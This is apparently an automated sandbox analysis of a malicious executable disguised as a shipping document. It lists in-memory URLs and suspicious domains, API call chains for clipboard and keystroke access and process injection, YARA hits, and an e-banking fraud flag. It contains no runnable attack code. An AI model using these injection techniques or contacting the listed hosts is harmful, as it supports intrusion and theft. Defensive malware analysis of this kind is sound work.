Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/app.js
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/canvi.js
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/jquery-1.9.1.min.js
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281533072611.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281606448510.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281756134546.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111312107302.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111316162395.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111418363409.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111532064388.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111554188180.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111602227556.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111650528174.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111653519935.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111718494999.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111820293498.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111842165995.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121050155085.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121111152889.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121114111017.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121118333732.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121130140569.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121333505679.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121337456585.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121352209002.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121427539351.jpg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121445018007.jpg
Source: AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://parking.reg.ru/script/get_domain_data?domain_name=www.marketplacer.top&rand=
Source: AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://reg.ru
Source: AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 1453h-8L.4.dr	String found in binary or memory: https://www.google.com/favicon.ico
Source: AtBroker.exe, 00000004.00000002.874304385.0000000003A06000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.00000000045A6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.kghjkx.xyz/usop/?mFptYb=3GbX3siKa3fb4xoywmO7dLt2gtHeawz6Sbk2xDjabsziN9g8eu79XBc6hQhNCIiJ
Source: AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/dedicated/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_land
Source: AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/domain/new/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_lan
Source: AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/hosting/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_land_h
Source: AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/sozdanie-saita/
Source: AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/?check=&dname=www.marketplacer.top&reg_source=parking_auto

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A2407C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00A2407C

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A2427A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00A2427A

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

0_2_00A2407C

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A1003A GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00A1003A

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A3CB26 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00A3CB26

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 2.2.svchost.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.873933070.00000000001B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.436520319.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369012864.0000000000370000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.874124663.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.873906744.0000000000070000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.873918569.0000000000160000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369018456.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369105032.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.874128931.0000000004EC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: This is a third-party compiled AutoIt script.	0_2_009B3B4C
Source: SHIPPING DOC_20241107.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: SHIPPING DOC_20241107.exe, 00000000.00000002.348348252.0000000000A64000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_05c88ec5-e
Source: SHIPPING DOC_20241107.exe, 00000000.00000002.348348252.0000000000A64000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer"	memstr_79527161-b
Source: SHIPPING DOC_20241107.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_b281d072-a
Source: SHIPPING DOC_20241107.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer"	memstr_378a978d-8

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: SHIPPING DOC_20241107.exe

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C9E3 NtClose,	2_2_0042C9E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008907AC NtCreateMutant,LdrInitializeThunk,	2_2_008907AC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088F9F0 NtClose,LdrInitializeThunk,	2_2_0088F9F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FAE8 NtQueryInformationProcess,LdrInitializeThunk,	2_2_0088FAE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FB68 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_0088FB68
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FDC0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_0088FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008900C4 NtCreateFile,	2_2_008900C4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00890048 NtProtectVirtualMemory,	2_2_00890048
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00890060 NtQuerySection,	2_2_00890060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00890078 NtResumeThread,	2_2_00890078
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008901D4 NtSetValueKey,	2_2_008901D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0089010C NtOpenDirectoryObject,	2_2_0089010C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00890C40 NtGetContextThread,	2_2_00890C40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008910D0 NtOpenProcessToken,	2_2_008910D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00891148 NtOpenThread,	2_2_00891148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088F8CC NtWaitForSingleObject,	2_2_0088F8CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088F900 NtReadFile,	2_2_0088F900
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088F938 NtWriteFile,	2_2_0088F938
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00891930 NtSetContextThread,	2_2_00891930
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FAB8 NtQueryValueKey,	2_2_0088FAB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FAD0 NtAllocateVirtualMemory,	2_2_0088FAD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FA20 NtQueryInformationFile,	2_2_0088FA20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FA50 NtEnumerateValueKey,	2_2_0088FA50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FBB8 NtQueryInformationToken,	2_2_0088FBB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FBE8 NtQueryVirtualMemory,	2_2_0088FBE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FB50 NtCreateKey,	2_2_0088FB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FC90 NtUnmapViewOfSection,	2_2_0088FC90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FC30 NtOpenProcess,	2_2_0088FC30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FC48 NtSetInformationFile,	2_2_0088FC48
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FC60 NtMapViewOfSection,	2_2_0088FC60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FD8C NtDelayExecution,	2_2_0088FD8C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00891D80 NtSuspendThread,	2_2_00891D80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FD5C NtEnumerateKey,	2_2_0088FD5C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FEA0 NtReadVirtualMemory,	2_2_0088FEA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FED0 NtAdjustPrivilegesToken,	2_2_0088FED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FE24 NtWriteVirtualMemory,	2_2_0088FE24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FFB4 NtCreateSection,	2_2_0088FFB4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FFFC NtCreateProcessEx,	2_2_0088FFFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0088FF34 NtQueueApcThread,	2_2_0088FF34

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A1A279: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00A1A279

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A08638 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00A08638

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A15264 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00A15264

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009BE800	0_2_009BE800
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009D3307	0_2_009D3307
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009BFE40	0_2_009BFE40
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009BE060	0_2_009BE060
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009C4140	0_2_009C4140
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009D2345	0_2_009D2345
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A30465	0_2_00A30465
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009E6452	0_2_009E6452
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009E25AE	0_2_009E25AE
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009D277A	0_2_009D277A
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A308E2	0_2_00A308E2
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009C6841	0_2_009C6841
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009E69C4	0_2_009E69C4
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A0E928	0_2_00A0E928
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009E890F	0_2_009E890F
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A18932	0_2_00A18932
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009C8968	0_2_009C8968
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009DCCA1	0_2_009DCCA1
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009E6F36	0_2_009E6F36
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009C70FE	0_2_009C70FE
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009C3190	0_2_009C3190
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009B1287	0_2_009B1287
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009DF359	0_2_009DF359
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009C5680	0_2_009C5680
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009D1604	0_2_009D1604
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009C58C0	0_2_009C58C0
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009D7813	0_2_009D7813
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009D1AF8	0_2_009D1AF8
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009DDAF5	0_2_009DDAF5
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009E9C35	0_2_009E9C35
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A37E0D	0_2_00A37E0D
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009D1F10	0_2_009D1F10
